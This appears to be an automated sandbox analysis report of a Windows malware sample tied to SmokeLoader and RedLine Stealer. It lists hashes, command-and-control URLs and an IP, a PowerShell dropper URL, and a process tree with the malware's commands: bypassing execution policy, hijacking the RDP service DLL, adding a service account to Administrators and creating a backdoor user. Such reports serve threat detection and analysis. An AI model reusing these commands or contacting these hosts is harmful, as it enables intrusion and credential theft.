Analysis
- max time kernel
151s - max time network
148s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
16/12/2021, 08:11
Static task
static1
Behavioral task
behavioral1
Sample
b06691c16c38df919e814bb555fbd34e.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
b06691c16c38df919e814bb555fbd34e.exe
Resource
win10-en-20211208
General
- Target b06691c16c38df919e814bb555fbd34e.exe
- Size 153KB
- Sample211216-j3aaescbhm
- SHA256 ca612bb8fd70332cd79b0dcf033e1432bfc27a7f1c11928dc0668c59dd67f230
- MD5 b06691c16c38df919e814bb555fbd34e
- SHA1 f67c4b9539546c40c65918fd356a330bf1d62c06
- SHA512 8bd1d2700f0a6f0bdf590490c9100da20a4a9896b5338895e8352d12c251a075267a432abc2aed06480c6d8abfe0ae2b0dc145d377c3537b1fb5b06b9851dc7e
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
-
smokeloader
-
2020
-
http://rcacademy.at/upload/
-
http://e-lanpengeonline.com/upload/
-
http://vjcmvz.cn/upload/
-
http://galala.ru/upload/
-
http://witra.ru/upload/
Extracted
-
redline
-
ww
-
45.9.20.168:46257
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 2 IoCs
resource yara_rule behavioral2/memory/1628-123-0x0000000004B00000-0x0000000004B2E000-memory.dmp family_redline behavioral2/memory/1628-128-0x0000000004B80000-0x0000000004BAD000-memory.dmp family_redline - SmokeLoader
Modular backdoor trojan in use since 2014.
- suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 9 IoCs
flow pid Process 93 1516 powershell.exe 95 1516 powershell.exe 96 1516 powershell.exe 97 1516 powershell.exe 99 1516 powershell.exe 101 1516 powershell.exe 103 1516 powershell.exe 105 1516 powershell.exe 107 1516 powershell.exe - Downloads MZ/PE file
- Executes dropped EXE 2 IoCs
pid Process 1628 C01F.exe 2236 7B33.exe - Modifies RDP port number used by Windows 1 TTPs
- Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000b00000001ab2a-414.dat upx behavioral2/files/0x000b00000001ab2b-415.dat upx - Deletes itself 1 IoCs
pid Process 3040 Process not Found - Loads dropped DLL 2 IoCs
pid Process 1256 Process not Found 1256 Process not Found - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe - Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICC8E.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICCAE.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICCD0.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICCBF.tmp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_mniybwvi.bbh.ps1 powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_unmpslvf.jdj.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICCD1.tmp powershell.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b06691c16c38df919e814bb555fbd34e.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b06691c16c38df919e814bb555fbd34e.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b06691c16c38df919e814bb555fbd34e.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1216 reg.exe - Runs net.exe
- Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 95 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 96 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 97 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 99 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1020 b06691c16c38df919e814bb555fbd34e.exe 1020 b06691c16c38df919e814bb555fbd34e.exe 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found 3040 Process not Found - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3040 Process not Found - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 624 Process not Found 624 Process not Found - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1020 b06691c16c38df919e814bb555fbd34e.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1628 C01F.exe Token: SeShutdownPrivilege 3040 Process not Found Token: SeCreatePagefilePrivilege 3040 Process not Found Token: SeShutdownPrivilege 3040 Process not Found Token: SeCreatePagefilePrivilege 3040 Process not Found Token: SeDebugPrivilege 1792 powershell.exe Token: SeDebugPrivilege 2088 powershell.exe Token: SeIncreaseQuotaPrivilege 2088 powershell.exe Token: SeSecurityPrivilege 2088 powershell.exe Token: SeTakeOwnershipPrivilege 2088 powershell.exe Token: SeLoadDriverPrivilege 2088 powershell.exe Token: SeSystemProfilePrivilege 2088 powershell.exe Token: SeSystemtimePrivilege 2088 powershell.exe Token: SeProfSingleProcessPrivilege 2088 powershell.exe Token: SeIncBasePriorityPrivilege 2088 powershell.exe Token: SeCreatePagefilePrivilege 2088 powershell.exe Token: SeBackupPrivilege 2088 powershell.exe Token: SeRestorePrivilege 2088 powershell.exe Token: SeShutdownPrivilege 2088 powershell.exe Token: SeDebugPrivilege 2088 powershell.exe Token: SeSystemEnvironmentPrivilege 2088 powershell.exe Token: SeRemoteShutdownPrivilege 2088 powershell.exe Token: SeUndockPrivilege 2088 powershell.exe Token: SeManageVolumePrivilege 2088 powershell.exe Token: 33 2088 powershell.exe Token: 34 2088 powershell.exe Token: 35 2088 powershell.exe Token: 36 2088 powershell.exe Token: SeDebugPrivilege 1280 powershell.exe Token: SeIncreaseQuotaPrivilege 1280 powershell.exe Token: SeSecurityPrivilege 1280 powershell.exe Token: SeTakeOwnershipPrivilege 1280 powershell.exe Token: SeLoadDriverPrivilege 1280 powershell.exe Token: SeSystemProfilePrivilege 1280 powershell.exe Token: SeSystemtimePrivilege 1280 powershell.exe Token: SeProfSingleProcessPrivilege 1280 powershell.exe Token: SeIncBasePriorityPrivilege 1280 powershell.exe Token: SeCreatePagefilePrivilege 1280 powershell.exe Token: SeBackupPrivilege 1280 powershell.exe Token: SeRestorePrivilege 1280 powershell.exe Token: SeShutdownPrivilege 1280 powershell.exe Token: SeDebugPrivilege 1280 powershell.exe Token: SeSystemEnvironmentPrivilege 1280 powershell.exe Token: SeRemoteShutdownPrivilege 1280 powershell.exe Token: SeUndockPrivilege 1280 powershell.exe Token: SeManageVolumePrivilege 1280 powershell.exe Token: 33 1280 powershell.exe Token: 34 1280 powershell.exe Token: 35 1280 powershell.exe Token: 36 1280 powershell.exe Token: SeDebugPrivilege 1984 powershell.exe Token: SeIncreaseQuotaPrivilege 1984 powershell.exe Token: SeSecurityPrivilege 1984 powershell.exe Token: SeTakeOwnershipPrivilege 1984 powershell.exe Token: SeLoadDriverPrivilege 1984 powershell.exe Token: SeSystemProfilePrivilege 1984 powershell.exe Token: SeSystemtimePrivilege 1984 powershell.exe Token: SeProfSingleProcessPrivilege 1984 powershell.exe Token: SeIncBasePriorityPrivilege 1984 powershell.exe Token: SeCreatePagefilePrivilege 1984 powershell.exe Token: SeBackupPrivilege 1984 powershell.exe Token: SeRestorePrivilege 1984 powershell.exe Token: SeShutdownPrivilege 1984 powershell.exe Token: SeDebugPrivilege 1984 powershell.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3040 Process not Found 3040 Process not Found - Suspicious use of SendNotifyMessage 2 IoCs
pid Process 3040 Process not Found 3040 Process not Found - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3040 wrote to memory of 1628 3040 Process not Found 69 PID 3040 wrote to memory of 1628 3040 Process not Found 69 PID 3040 wrote to memory of 1628 3040 Process not Found 69 PID 3040 wrote to memory of 2236 3040 Process not Found 73 PID 3040 wrote to memory of 2236 3040 Process not Found 73 PID 2236 wrote to memory of 1792 2236 7B33.exe 74 PID 2236 wrote to memory of 1792 2236 7B33.exe 74 PID 1792 wrote to memory of 3500 1792 powershell.exe 76 PID 1792 wrote to memory of 3500 1792 powershell.exe 76 PID 3500 wrote to memory of 64 3500 csc.exe 77 PID 3500 wrote to memory of 64 3500 csc.exe 77 PID 1792 wrote to memory of 1668 1792 powershell.exe 78 PID 1792 wrote to memory of 1668 1792 powershell.exe 78 PID 1668 wrote to memory of 700 1668 csc.exe 79 PID 1668 wrote to memory of 700 1668 csc.exe 79 PID 1792 wrote to memory of 2088 1792 powershell.exe 80 PID 1792 wrote to memory of 2088 1792 powershell.exe 80 PID 1792 wrote to memory of 1280 1792 powershell.exe 83 PID 1792 wrote to memory of 1280 1792 powershell.exe 83 PID 1792 wrote to memory of 1984 1792 powershell.exe 85 PID 1792 wrote to memory of 1984 1792 powershell.exe 85 PID 1792 wrote to memory of 848 1792 powershell.exe 87 PID 1792 wrote to memory of 848 1792 powershell.exe 87 PID 1792 wrote to memory of 1216 1792 powershell.exe 88 PID 1792 wrote to memory of 1216 1792 powershell.exe 88 PID 1792 wrote to memory of 2044 1792 powershell.exe 89 PID 1792 wrote to memory of 2044 1792 powershell.exe 89 PID 1792 wrote to memory of 1268 1792 powershell.exe 90 PID 1792 wrote to memory of 1268 1792 powershell.exe 90 PID 1268 wrote to memory of 1052 1268 net.exe 91 PID 1268 wrote to memory of 1052 1268 net.exe 91 PID 1792 wrote to memory of 2888 1792 powershell.exe 92 PID 1792 wrote to memory of 2888 1792 powershell.exe 92 PID 2888 wrote to memory of 1200 2888 cmd.exe 93 PID 2888 wrote to memory of 1200 2888 cmd.exe 93 PID 1200 wrote to memory of 1628 1200 cmd.exe 94 PID 1200 wrote to memory of 1628 1200 cmd.exe 94 PID 1628 wrote to memory of 3336 1628 net.exe 95 PID 1628 wrote to memory of 3336 1628 net.exe 95 PID 1792 wrote to memory of 340 1792 powershell.exe 96 PID 1792 wrote to memory of 340 1792 powershell.exe 96 PID 340 wrote to memory of 640 340 cmd.exe 97 PID 340 wrote to memory of 640 340 cmd.exe 97 PID 640 wrote to memory of 2228 640 cmd.exe 98 PID 640 wrote to memory of 2228 640 cmd.exe 98 PID 2228 wrote to memory of 4056 2228 net.exe 99 PID 2228 wrote to memory of 4056 2228 net.exe 99 PID 2968 wrote to memory of 832 2968 cmd.exe 103 PID 2968 wrote to memory of 832 2968 cmd.exe 103 PID 832 wrote to memory of 2648 832 net.exe 104 PID 832 wrote to memory of 2648 832 net.exe 104 PID 1920 wrote to memory of 4068 1920 cmd.exe 107 PID 1920 wrote to memory of 4068 1920 cmd.exe 107 PID 4068 wrote to memory of 60 4068 net.exe 108 PID 4068 wrote to memory of 60 4068 net.exe 108 PID 3812 wrote to memory of 1992 3812 cmd.exe 111 PID 3812 wrote to memory of 1992 3812 cmd.exe 111 PID 1992 wrote to memory of 1500 1992 net.exe 112 PID 1992 wrote to memory of 1500 1992 net.exe 112 PID 1548 wrote to memory of 3124 1548 cmd.exe 115 PID 1548 wrote to memory of 3124 1548 cmd.exe 115 PID 3124 wrote to memory of 3176 3124 net.exe 116 PID 3124 wrote to memory of 3176 3124 net.exe 116 PID 2272 wrote to memory of 3420 2272 cmd.exe 119
Processes
-
C:\Users\Admin\AppData\Local\Temp\b06691c16c38df919e814bb555fbd34e.exe"C:\Users\Admin\AppData\Local\Temp\b06691c16c38df919e814bb555fbd34e.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1020
-
C:\Users\Admin\AppData\Local\Temp\C01F.exeC:\Users\Admin\AppData\Local\Temp\C01F.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1628
-
C:\Users\Admin\AppData\Local\Temp\7B33.exeC:\Users\Admin\AppData\Local\Temp\7B33.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\20kj1i5u\20kj1i5u.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8FF3.tmp" "c:\Users\Admin\AppData\Local\Temp\20kj1i5u\CSC7243DF79F73445098352FACA81106BCE.TMP"4⤵PID:64
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agvgznm0\agvgznm0.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9561.tmp" "c:\Users\Admin\AppData\Local\Temp\agvgznm0\CSCD9673A63AD8B400BB88E262DC4B85FA.TMP"4⤵PID:700
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1280
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:848
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1216
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2044
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1052
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3336
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:340 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:4056
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:2648
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc jw4v83jO /add1⤵
- Suspicious use of WriteProcessMemory
PID:1920 -
